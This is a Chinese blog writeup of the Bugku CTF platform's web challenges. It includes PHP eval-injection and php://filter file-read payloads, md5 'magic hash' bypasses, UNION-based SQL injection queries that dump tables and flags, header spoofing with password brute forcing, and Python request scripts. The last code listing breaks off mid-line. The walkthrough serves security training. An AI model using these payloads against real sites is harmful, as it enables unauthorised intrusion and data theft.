当前位置 博文首页 > 韦全敏的博客:bugku平台web部分writeup

    韦全敏的博客:bugku平台web部分writeup

    作者:[db:作者] 时间:2021-07-08 18:46

    前言

    很久以前基本就做完了bugku平台上的web题目,最近整理整理一下。简单的题目就写短一点吧。

    正文

    web2

    提示:听说聪明的人都能找到答案
    链接

    1
    flag在源代码中。
    flag

    计算器

    链接

    首页
    发现输入框中只能输入一位数字,但是正确的答案有两位,所以只能通过f12修改前端代码maxlength的值或者通过抓包发送正确的值得到flag。
    在这里插入图片描述

    get基础

    链接

    进入题目之后出现代码提示,按要求get方式传入what=flag即可得到flag

    $what=$_GET['what'];
    echo $what;
    if($what=='flag')
    echo 'flag{****}';
    

    post基础

    和上题类似,通过post方式传入对应的参数即可。推荐使用firefox浏览器的hackbar插件。

    矛盾

    链接

    $num=$_GET['num'];
    if(!is_numeric($num))
    {
    echo $num;
    if($num==1)
    echo 'flag{**********}';
    }
    

    通过代码的第一个if要求$num不可以为数字,第二个if要求$num的值为1,由于php是弱类型语言。1e等类似的的字符串为经过==判断为1
    payload:http://123.206.87.240:8002/get/index1.php?num=1e

    web3

    tips: flag就在这里快来找找吧

    链接

    重要的信息在源代码中的最后几行。
    flag

    域名解析

    tips: 听说把 flag.bugku.com 解析到123.206.87.240 就能拿到flag

    修改hosts文件即可。比如linux系统中所在的地址是/etc/hosts

    你必须让他停下

    链接

    在这里插入图片描述
    使用burp site多抓几次包即可。

    本地包含

    链接

    <?php 
        include "flag.php"; 
        $a = @$_REQUEST['hello']; 
        eval( "var_dump($a);"); 
        show_source(__FILE__); 
    ?>
    

    这个题目有三种解法

    • eval 可以执行命令
      所以构造hello参数使得里面的括号闭合

    hello=1);show_source(%27flag.php%27);var_dump(2

    • 使用eval配合php伪协议
      在这里插入图片描述
    • 直接读到hello变量中

    ?hello=get_file_contents(‘flag.php’)
    ?hello=file(‘flag.php’)

    在这里插入图片描述

    变量1

    链接

    //flag In the variable !
    <?php  
    error_reporting(0);
    include "flag1.php";
    highlight_file(__file__);
    if(isset($_GET['args'])){
        $args = $_GET['args'];
        if(!preg_match("/^\w+$/",$args)){
            die("args error!");
        }
        eval("var_dump($$args);");
    }
    ?>
    

    首先进入题目之后,发现一段代码和一个提示flag In the variable !
    分析代码发现正则表达式只允许$args的值中出现大小写字母和数字,所以不能构造上一题中的文件包含。然后只能使用php中的超全局变量$GLOBALS(数组,保存所有的全局变量)。

    payload:?args=GLOBALS

    web5

    tips : JSPFUCK???答案格式CTF{**}
    字母大写
    链接

    源代码
    查看网页源代码发现存在很多的规则字符串,有经验的发现这是JSFUCK编码,没有经验的题目也提示了。复制全部的编码字符串使用chrome浏览器的调试器即可反编码。
    在这里插入图片描述

    头等舱

    链接

    在这里插入图片描述
    进入题目之后发现提示什么也没有,但是发现这段话的上面有很多 的空行。
    查看源代码之后发现有很多的<br>换行。这是错误的思路。
    在这里插入图片描述
    使用burp site抓返回来的包
    flag在http响应头中,和题目头等舱对应。
    在这里插入图片描述

    网站被黑

    tips : 这个题没技术含量但是实战中经常遇到
    链接

    在这里插入图片描述

    进入题目之后没有发现什么有用的信息,根据题目网站被黑,想到网站可能存在webshell
    在这里插入图片描述
    使用burp site爆破shell密码即可。
    密码字典推荐使用top10000.

    管理员系统

    tips : flag格式flag{}
    链接

    在这里插入图片描述
    尝试登录时发现这样的提示
    在这里插入图片描述
    尝试来源IP伪造为127.0.0.1,推荐使用firefox的modify headers插件。
    在这里插入图片描述

    再一次尝试登陆,发现报错信息变成Invalid credentials! Please try again!
    在这里插入图片描述
    然后弱口令爆破,密码应该是test123,用户名admin

    web4

    tips : 看看源代码
    链接

    首页
    两处提示都是查看源代码,恩,我们看看源代码。
    在这里插入图片描述
    简单分析之后发现Escape解码之后可以得到一般形式的js代码。在线解码网址
    在这里插入图片描述
    在输入框之中输入67d709b2b54aa2aa648cf6e87a7114f1即可得到flag。

    flag在index里

    链接

    进入题目出现一个a链接,点击之后进入另一界面。
    在这里插入图片描述

    在这里插入图片描述
    发现url中的参数可能可以构造任意文件读取或者任意文件上传的。这里需要用到的知识是php伪协议,具体详情可以百度。

    payload: file=php://filter/read=convert.base64-encode/resource=index.php

    在这里插入图片描述

    然后base64解码即可得到index.php的源代码,flag就在代码中。
    在这里插入图片描述

    输入密码查看flag

    链接

    在这里插入图片描述
    根据提示,构造从0000099999的密码爆破即可。

    点击一百万次

    tips : java script
    链接

    在这里插入图片描述
    在这个题目中你可以选择点击一百万次,或者认真的分析一下java script代码.
    查看源代码
    在这里插入图片描述
    发现点击次数通过js传输一个叫做clicks的参数,通过判断clicks > 一百万即可得到flag,所以我们构造一个post参数使得他的值大于一百万即可。
    在这里插入图片描述

    备份是个好习惯

    tips: 听说备份是一个好习惯
    链接

    首页

    一般在linux中常见的备份文件的格式有

    .bak
    .swp
    .swo
    .zip
    .tar
    .rar
    等等

    根据题目的提示发现可能存在备份文件,测试发现存在index.php.bak,访问payload因为服务器不能解析后缀为 .bak的文件,所以会直接把index.php.bak 文件下载下来。
    接着是分析下载下来的index.php的代码

    <?php
    include_once "flag.php";
    ini_set("display_errors", 0);
    $str = strstr($_SERVER['REQUEST_URI'], '?');
    $str = substr($str,1);//得到get方式的参数
    $str = str_replace('key','',$str);//替换参数中的key为空,可以双写绕过
    parse_str($str);//字符串解析到变量中
    echo md5($key1);
    
    echo md5($key2);
    if(md5($key1) == md5($key2) && $key1 !== $key2){
        echo $flag."取得flag";
    }
    ?>
    

    由于php中的==判断时,0e111111=0e333423423=0,所有使用md5的值为0e开头的字符串绕过最后的if

    payload : http://123.206.87.240:8002/web16/?kekeyy1=s878926199a&kekeyy2=s155964671a

    成绩单

    tips : 快来查查成绩吧
    链接

    非常简单的sq注入题目。
    首页
    首先判断后端返回的列数,此处为4
    在这里插入图片描述
    然后判断后端返回的格式
    在这里插入图片描述
    查看数据库名称和用户名

    id=-1' union select 1,user(),database(),4 #
    

    在这里插入图片描述
    爆表

    id=-1' union select 1,2,database(),(select group_concat(table_name) from information_schema.tables where table_schema =database())#
    

    在这里插入图片描述
    爆列

    id=-1' union select 1,2,database(),(select group_concat(column_name) from information_schema.columns where table_name = 'fl4g')#
    

    在这里插入图片描述
    获取flag

    id=-1' union select 1,2,database(),(select skctf_flag from fl4g)#
    

    在这里插入图片描述
    这个题目还可以使用sqlamp直接跑出flag。

    秋名山老司机

    是不是老司机试试就知道。
    链接

    这个题目中,下面需要计算的式子大概两秒钟更换一次,所以只能通过python脚本计算,并且把正确的答案通过post方式传到服务器。
    首页
    在这里插入图片描述

    
    #这里直接使用别人写的脚本,我以前写的找不到了
    import requests
    import re
    url='http://120.24.86.145:8002/qiumingshan/'
    r=requests.session()
    requestpage = r.get(url)
    ans=re.findall('<div>(.*?)=?;</div>',requestpage.text)#获取表达式,我正则写的好像有点问题,多匹配了最后的=?两个字符
    ans="".join(ans)#列表转为字符串
    ans=ans[:-2]#去掉最后的=?
    post=eval(ans)#计算表达式的值
    data={'value':post}#构造post的data部分
    flag=r.post(url,data=data)
    print(flag.text)
    

    运行之后有一定的几率可以获取到flag。

    速度要快

    tips : 速度要快
    链接

    查看网页源代码发现提示
    源代码
    按照网页源代码中的要求传入margin参数之后出现一个新的字符串。
    在这里插入图片描述
    在响应头中发现flag,base64解码之后提交不对,发现这个头部中的flag的值会变。

    然后直接上脚本。

    import requests
    import base64
    
    url = 'http://120.24.86.145:8002/web6/'
    req = requests.session()
    res = req.get(url)
    flag = res.headers['flag']
    
    txt = base64.b64decode(flag)
    txt = txt[txt.index(":")+2:]
    txt = base64.b64decode(txt)
    
    data = {'margin': txt}
    ans = req.post(url, data)
    print ans.content
    

    cookies欺骗

    tips : 答案格式:KEY{xxxxxxxx}
    链接

    直接打开链接之后出现
    首页
    url中的filename值base64解码之后得到keys.txt
    然后把filename的值替换成index.php的base64编码值aW5kZXgucGhw
    在这里插入图片描述
    但是没有返回任何内容,后面发现line的值就是代表第几行的意思,所以

    读第一行的的payload为:

    http://123.206.87.240:8002/web11/index.php?line=1&filename=aW5kZXgucGhw
    

    读第二行的payload为:

    http://123.206.87.240:8002/web11/index.php?line=2&filename=aW5kZXgucGhw
    

    这样很麻烦,所以还是使用脚本来跑吧

    #!/usr/bin/env python3
    #-*-coding:utf-8-*-
    #power by jedi
    
    import requests
    
    for i in range(1, 20):
        payload = "http://123.206.87.240:8002/web11/index.php?line=%s&filename=aW5kZXgucGhw"%i
        try:
            response = requests.get(payload, timeout=2)
            print(response.content)
        except:
            pass
    

    跑出的index.php

    <?php
    error_reporting(0);
    $file=base64_decode(isset($_GET['filename'])?$_GET['filename']:"");
    $line=isset($_GET['line'])
    
    下一篇:没有了